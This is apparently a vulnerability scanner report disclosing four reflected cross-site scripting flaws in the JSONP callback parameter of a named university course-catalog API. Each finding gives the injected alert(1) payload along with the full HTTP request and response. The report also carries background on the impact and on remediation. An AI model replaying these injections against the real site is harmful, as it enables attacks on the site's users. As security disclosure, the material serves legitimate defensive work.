Report generated by HTI at Sat Sep 01 09:24:38 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, classlist.champlain.edu

Loading

1. Cross-site scripting (reflected)

1.1. http://classlist.champlain.edu/api2/course/number/CIT%20210 [callback parameter]

1.2. http://classlist.champlain.edu/api2/courses/subject/CIT/filter/catalog [callback parameter]

1.3. http://classlist.champlain.edu/api2/search/filter/ug/delimit/and/query/infosec%20pentest%20data%20it%20security7 [callback parameter]

1.4. http://classlist.champlain.edu/api2/subjects/filter/catalog [callback parameter]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://classlist.champlain.edu/api2/course/number/CIT%20210 [callback parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://classlist.champlain.edu
Path:   /api2/course/number/CIT%20210

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1d121%3balert(1)//1b21f2a5f was submitted in the callback parameter. This input was echoed as 1d121;alert(1)//1b21f2a5f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api2/course/number/CIT%20210?callback=dojo.io.script.jsonp_dojoIoScript3._jsonpCallback1d121%3balert(1)//1b21f2a5f HTTP/1.1
Host: classlist.champlain.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: http://coursecatalog.champlain.edu/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 12:11:19 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.8
Vary: Accept-Encoding
Content-Length: 1226
Connection: close
Content-Type: application/json

dojo.io.script.jsonp_dojoIoScript3._jsonpCallback1d121;alert(1)//1b21f2a5f({"identifier":"id","items":[{"description":"Students examine the component organization, hardware concepts, and architecture for all levels of computer systems. Students will be given hands-on experie
...[SNIP]...

1.2. http://classlist.champlain.edu/api2/courses/subject/CIT/filter/catalog [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://classlist.champlain.edu
Path:   /api2/courses/subject/CIT/filter/catalog

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 4d5b4%3balert(1)//6a52764691a was submitted in the callback parameter. This input was echoed as 4d5b4;alert(1)//6a52764691a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api2/courses/subject/CIT/filter/catalog?dojo.preventCache=1324901492419&callback=dojo.io.script.jsonp_dojoIoScript2._jsonpCallback4d5b4%3balert(1)//6a52764691a HTTP/1.1
Host: classlist.champlain.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: http://coursecatalog.champlain.edu/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 12:11:23 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.8
Vary: Accept-Encoding
Content-Length: 4806
Connection: close
Content-Type: application/json

dojo.io.script.jsonp_dojoIoScript2._jsonpCallback4d5b4;alert(1)//6a52764691a({"identifier":"id","items":[{"number":"CIT 135","title":"Computer Theory, Introduction","description":"This course gives the student an introduction to the broad discipline of computer science and sof
...[SNIP]...

1.3. http://classlist.champlain.edu/api2/search/filter/ug/delimit/and/query/infosec%20pentest%20data%20it%20security7 [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://classlist.champlain.edu
Path:   /api2/search/filter/ug/delimit/and/query/infosec%20pentest%20data%20it%20security7

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7ea43%3balert(1)//47f5eb7ebe9 was submitted in the callback parameter. This input was echoed as 7ea43;alert(1)//47f5eb7ebe9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api2/search/filter/ug/delimit/and/query/infosec%20pentest%20data%20it%20security7?dojo.preventCache=1324901614544&callback=dojo.io.script.jsonp_dojoIoScript4._jsonpCallback7ea43%3balert(1)//47f5eb7ebe9 HTTP/1.1
Host: classlist.champlain.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: http://coursecatalog.champlain.edu/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 12:13:34 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.8
Vary: Accept-Encoding
Content-Length: 108
Connection: close
Content-Type: application/json

dojo.io.script.jsonp_dojoIoScript4._jsonpCallback7ea43;alert(1)//47f5eb7ebe9({"identifier":"id","items":[]})

1.4. http://classlist.champlain.edu/api2/subjects/filter/catalog [callback parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://classlist.champlain.edu
Path:   /api2/subjects/filter/catalog

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8b40f%3balert(1)//eb096fe50f6 was submitted in the callback parameter. This input was echoed as 8b40f;alert(1)//eb096fe50f6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api2/subjects/filter/catalog?dojo.preventCache=1324901483078&callback=dojo.io.script.jsonp_dojoIoScript1._jsonpCallback8b40f%3balert(1)//eb096fe50f6 HTTP/1.1
Host: classlist.champlain.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: http://coursecatalog.champlain.edu/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Mon, 26 Dec 2011 12:11:08 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.3.8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Vary: Accept-Encoding
Content-Length: 2478
Connection: close
Content-Type: text/javascript; charset=utf8

dojo.io.script.jsonp_dojoIoScript1._jsonpCallback8b40f;alert(1)//eb096fe50f6({"identifier":"id","items":[{"id":"SPT","subject":"Sport Management"},{"id":"THE","subject":"Theater"},{"id":"CRJ","subject":"Criminal Justice"},{"id":"CIT","subject":"Computer Inf Technology"},{"id":
...[SNIP]...

Report generated by HTI at Sat Sep 01 09:24:38 EDT 2012.